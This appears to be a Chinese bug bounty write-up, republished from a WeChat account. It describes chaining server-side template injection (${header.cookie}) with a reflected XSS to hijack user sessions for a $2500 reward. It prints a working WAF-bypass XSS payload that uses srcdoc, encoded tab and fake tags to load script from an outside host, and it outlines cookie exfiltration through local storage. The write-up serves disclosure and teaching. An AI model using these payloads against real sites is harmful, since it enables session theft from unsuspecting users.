背景介绍:
本文为国外白帽子通过利用XSS以及WAF绕过,配合SSTI从而实现任意用户会话劫持。废话不多说,进入正题!
发现过程:
挖掘过程像往常一样,开启Burp Suite并浏览所有网站链接,没一会儿就发现了一处URL:
https://example.com?redirect=${redirectURL}
这个重定向显然是某种未正确执行的模版语言表达式,注意到这一点,迅速切换到用户配置页面,并开始尝试更改用户名。
首先是数学表达式${2*2}来确定是否存在模版注入漏洞,成功在响应包中收到“4”,看来确实存在模版注入漏洞。那么这个漏洞能用来做什么呢?
经过一段时间的尝试和分析后,发现使用 ${header.cookie} 可以获得当前用户的所有Cookie列表。
那么现在有了带有Cookie信息和SSTI漏洞后,怎样能够实现劫持其它用户呢?答案只能是“XSS”了。
我们需要拥有一个XSS漏洞,利用XSS漏洞可以将受害者的名称更改为 ${header.cookie},然后将 Cookie 转发到攻击者的服务器上就可以了。
说起来简单,做起来可一点不轻松。经过漫长的寻找和挖掘,终于在一处参数为 videoId=w6exeqbemte 的URL上看到了“希望”。
首先尝试在URL末尾添加Payloads:
https://example.com/videos/?videoId=w6exeqbemteqwe'"<X</
视频没有加载,检查源码发现videoId参数直接注入到了src属性中的<iframe>,如下:
<iframe src="w6exeqbemteqwe'" <X</">
这是个好兆头!那么接下来再换个Payload看看:
?videoId=qwe"><img src onerror=alert(1)>
很遗憾,直接被WAF给拦截了。经过一系列的尝试,基本所有通用的Payloads都被一一拦截!
接下来的几天,试着将Payloads放在iframe中,并且尽可能不覆盖src属性,onload
onmouseover
同样被WAF拦截。但是 srcdoc 并没有被WAF拦截。
那么接下来就是围绕 srcdoc 的利用了!继续尝试:
?videoId=qwe"srcdoc="u003ce<script%26Tab;e>"
成功绕过WAF。
Payload的第一部分u003ce通过伪造打开一个不存在的标记<e来欺骗 WAF,WAF 会先对所有内容进行解码,然后再执行检查,在上面的例子中,WAF 会将 Unicode 文本转换为<e 进行检查,但实际上,它仍然是"u003ce"文本,因此不会干扰影响后面的脚本执行。
Payload的第二部分 %26Tab;e
(	
) 来欺骗 WAF 我们没有使用脚本,而是使用其它内容。
有时,可以用空格和另一个属性(如 <script x>)来分隔单词和结尾括号,从而绕过此类 WAF,但是,这种方法在这里不起作用。因此,需要在它们之间添加了一个编码制表符 	来代替空格。形成最终Payload:
qwe"srcdoc="u003ce<script%26Tab;src=//dom.xss>u003ce</script%26Tab;e>
你以为这就结束了吗?为了能够将反射型XSS转换为存储型XSS,不仅针对登录用户,还要针对注销用户,因此还需要利用缓存中毒攻击,即在服务器缓存中存储 XSS,也可以是基于 Cookie/Local Storage 的存储XSS,即利用 XSS 来覆盖 Cookie 或本地存储值,这些值如果没有经过有效过滤处理,就会被加以利用。
因此国外白帽子又花了几分钟时间从本地存储中找到了一个未经过滤的值,并且所有用户都可以访问该值,即使是当前已注销的用户,然后更新了 JavaScript 代码,并在本地存储中加入了一个Payload。这个Payload会执行一个循环,检查用户是否有活动会话,一旦有活动会话便会启动 Cookie 外传。
然后就是写漏洞报告,附上详细的PoC和演示视频并提交。最终在4-6个工作日后,成功获得2500美金的赏金奖励。
感谢阅读,如果你觉得有帮助的话,欢迎分享给更多喜爱的小伙伴~
====正文结束====
原文始发于微信公众号(骨哥说事):通过链式攻击劫持会话获得$2500奖励
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论